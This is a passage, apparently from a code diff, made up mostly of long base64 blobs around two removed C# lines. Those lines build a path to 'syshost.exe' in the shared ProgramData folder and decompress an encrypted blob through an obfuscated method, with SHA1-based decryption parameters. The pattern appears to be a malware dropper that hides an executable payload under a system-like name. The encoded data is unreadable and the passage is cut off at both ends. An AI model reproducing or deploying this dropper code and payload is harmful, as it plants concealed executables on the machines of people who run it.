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", "Je59QrEm48LnAk2g7YN", "Eq9c6AGx53Lze8J4H", "SHA1", 2, "Wt2j6ZSw8f4C9QxE", 128)); - string path = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\syshost.exe"; - byte[] numArray = SevenZipHelper.Decompress(Driver.x8F5MsDz7k4ZX("MwLcW457O7SeVYismlzTb2dtlSUIndQSOApGERQbtCaFYEFrG3bvYoFnopXZCov1hMfHscnLHNSJ6AaZl72iticrM+wkRzjEZvkzNfEExmmW2q9ay3D98W9x1q09attTpRNgY4LyJWr4MwrcW/Bmo2kzvMbMoi98tlm1/Bnj2YWEwwSZ51+o/Zsftu9O1s+3VjYkh8beJ5q8uaKyvhHcmKrZJfAmPUfv0EHUYa2A4I8UKTas3U2vpBIOotcr07YoiH+NPZNtGCGRxgWTaCb2whKSRACQz4ElvkzfxvH4MkyR5QJMGZ9x+BWaQtClNSNr1mcG5pYQQfynvMX9G4kj830AIvgwu2lthvzwVStDzsb5e7qBkBoP9cbYETXhhdB0JGIor5jv92v46qAJ+dX87+lIAjcbSUW8GEljEbPuo/AWGX4u4yxmobQzaTT9kUY7DBve3x53CAywj/KsW6xSp5eI0biqA38y/fW152Kb22B4yVlvlUf2J5a/fDkDVc2QaKx9YpjioHLwCjU9dXJGAKWihbghpdzWvMMDMQit5h/PK2FsdcLHs8AzSKLvHKyWdIrHAKVzPkxJRXm4WajiIbp0D4g55g6px/r1+iMOAk2BuSAmbaCDazSlM0Rk4YT9Gc0EMgYaRIvaJ1qv9+ZpJTWvcM7Lqfzq55OMN8c2OglcpDnk4OSI8ZWnHFwzU3C98oaLDFWcuRBP5cL8AYrFJI9MT+fsKuz1zA25d3q7TlZVDjfgPTCGixrGJbxZtfpII35lof1hoGW4Y3eEKEE1NNN+2lTLkAXX59qRztzhWYjgR6mcmKWWWqQkm/xgFPs8diKcXGRpTC7TjnfYx9Y+J9PoV7SHQJOZNkWNwy8QspeDnQvf/dARiLH/Q/BodlKqM2T2t340fvmrEeYxP6jotmnRZuQQV23tjxrurKXu1wVJUQlOizTzydR+3Ed1+59g0mtJnoBLfaCOjcPcQ+l+u3j46jihw3n3t7/qG3mI6QhLgsVCZoOO1Y4YeUtq5IEegZU6LIFHAGEds5UJ2TLqBcTSZ6kkDLQhiOfvwTgh/ClCH4tZlV0gS/5an35EZ7lBE1HkUfY15NxQ9jH3085T2koy0VK7X9I3ZarBdA6Jr91L1ciCX3D7/T54VczpO1g1qlaq/OwFjdktHFdU6wXKjMvB0AnPwRhtx5RdJ1yvusTgiAMm+vU+ugf3ekHm02c+JpQF5HxW4zBnH9YQnrSk7cPLZeY/M0COb0mei1BGeyHwsb7T4OyBw0AU5tiExPZHNPLGznu5dyI4/IdvSA8EGGiViVw4GJ5GS9WxgXtdPCYC9p5AzZUlNGvOzhpxh9OH5oDvcVffR82qnQyelShs2lMlVfMai8kR07QalFPR8NkBN3s1I0pyRyLaqAUxwMaYiC+b96q9qbsXtYLe3G91LxdPmZAQXRIroKR0kBcHBiVPz7snWWTqzglXkBqGN69/HCENPe2JyRlgcwkckZt9Kqn/r15P1P1uiF8R27mLtNvOX1xbTKQVnXK4Wwko28HJz5bIzEFk6LJXrEo0ma0MV9xO424rSjaFwC5r6FZ59G38Q8TMKZ+C526hnDwTIfZKB33mNaDFEGCXaVR8MYEn/jNBmicghNz5vlmtE8kG8wNPofe9UfvU+FnujsBL15syyyywrNYhDQTXLPqPtn4W6tJ+8LkV8VsDdIqJcqtWSJ09ncAVBE6fvuee8FHurlW2bN/i44QXZHTyI9mbU6yFUAPfKAt9h2UN0bKgH/ebeTqpwu43wJsBVmvekfbI20iVoJ6C2oZnTrnrGkMwJ0UpM+GvlFjYwhmRG8M3OeQXafJz6E4UnwS0vmhzMzuMMPezjwZ08denMDdinO5Q2xFVp8tLsT4eCrLbrfO+DeXRGqLwEQlP1gSTtX5e90KOWd3Qoh30jyG5zgx46gkHsridNbC82PyFrvrF6HFr4ruhCLg79KdnDVQ2uhiZ+wrILZQohWqmSIdnrH2yc4CaE7Y1ZhxLmTvuCKYrZAA1sacscrxG+FzHFF/R7XkQKZpet507mpTgV6Ge8o7pYTOK9q3FfglsMJ8uJkIpE5hnPmIlEaiJAGRY+CbCeWvq2VBA1xbsj1OnHGSSh5vO2fK+e7gwUZHl1qqSprGi42uxmwOf8H4pA+/VvMjk3PSrfxl6FF37fhYgC5r3Lxl0CMQsr8C4cYD8O1I9joOrq2+pF4Fnzih2K9MqWG7UqWgSGr6U2FEopqYzvmJP3Y1iSxzQo4bJjkjPEfCM/otnGt3PIMeLudLCWV+07Ci/rAh2YW4Ypj7reNwRXWgzFT6wVpyNWvI82dpwzyhCowUarMBGR2roYD9VHSyAstW6QRIU6hOqrmWfxFQPYgt6idDoyZCzH6lvBKonDYp1iaYIkVoTkZccMRpHftPE06LFmqVUx7cl0OXIKuIeylUB3HSVv6EhWcPBQmqcG+zHhT4Ov23OzziOYKxSHFi53bDsYyoqMgobAcDBKFuOTh/qVYZavnJbYFfdaC1kpnb8UtQNj5WTe1bfEWGJTCmaQbE/8FN6Tjp1HQKiUuDJ6hhsb1Ond+odD18D2QGwPew5injk4HMabT6v5/eru6AvtpwXxHfP08NZ4k/6OFpvRXjfpoFFdVIYgfbNKQERBqHJPk6XgrnX34W05GVTUz0Krz389Ry5dRvbwnpC3udyy5IWey32WRjmnKx8bpTMSGq3OQ28QG4fKimNlCi/Kb44mhvGfMkp+gWwZL3XeOQ0C38dXHjWWDdOfUbRAJQ07JlVg3PWWGyPBJk8yko7x6Ud9QDDznVNryLUKcqqUbTeMD3eocOqik5bEsfE/a7thCD0n+BMWuk9FSP7ijUwhPEyhx6PWBZ9mYE69IffeuEIC4v5mQDqUNMvQaYzFD9CpmULF7eOco/wgX93UV/f2HYgw33UBFdLd+55QvEd1006C8xDz2OaQq0A7VorXHbxf7uYAVCeKiAm/W9b7DsEnSDi8GG3vejooRPYNdZtNM5XWvCMS5cRUaH+Ovdrb7U/53Ev4Qy7pZdR4Z7UU3c/iss3GUULLq4+y0PTxxtZeHgLzQalI3uwgTYEqgywhJig5qQXatfQwMtuFEPD5su7fcno8LdZGGSFIFYBKDjrDd28CL1p/GdbEo9FFx6WskLJnFvHy/N1ct3sDeOF9ps3dPWwAXLpwUkVK5rtysO2NX7fa4mH3OnYNuTC+rXQzPZDSC31gjalUsZFQNh+I4fe248uwmpESzfH5oSDIjQkgwlzTTK2G9QqIS7/HGfRhjPwHQa4lgBirci9NjUXbLHXo7LUw2TbKM0eBlnKEeYp4NhDl4cKVaVZk70+xFYz2nAzUX9qr00t2R9rp8Dcxt60bPAtSQki8uWdpLFE5jKjhJS0YLt1A7FZz0LtvQGZOwNN4iNgMdoqjDVRy0yHkV6ZipdW/j6mah5UkXeQJNddmN6aFg+zjKMWFnAI5cdB3WoDoeCT/lEyeWzCM9MMXDo8qA8l+XZFv8I05A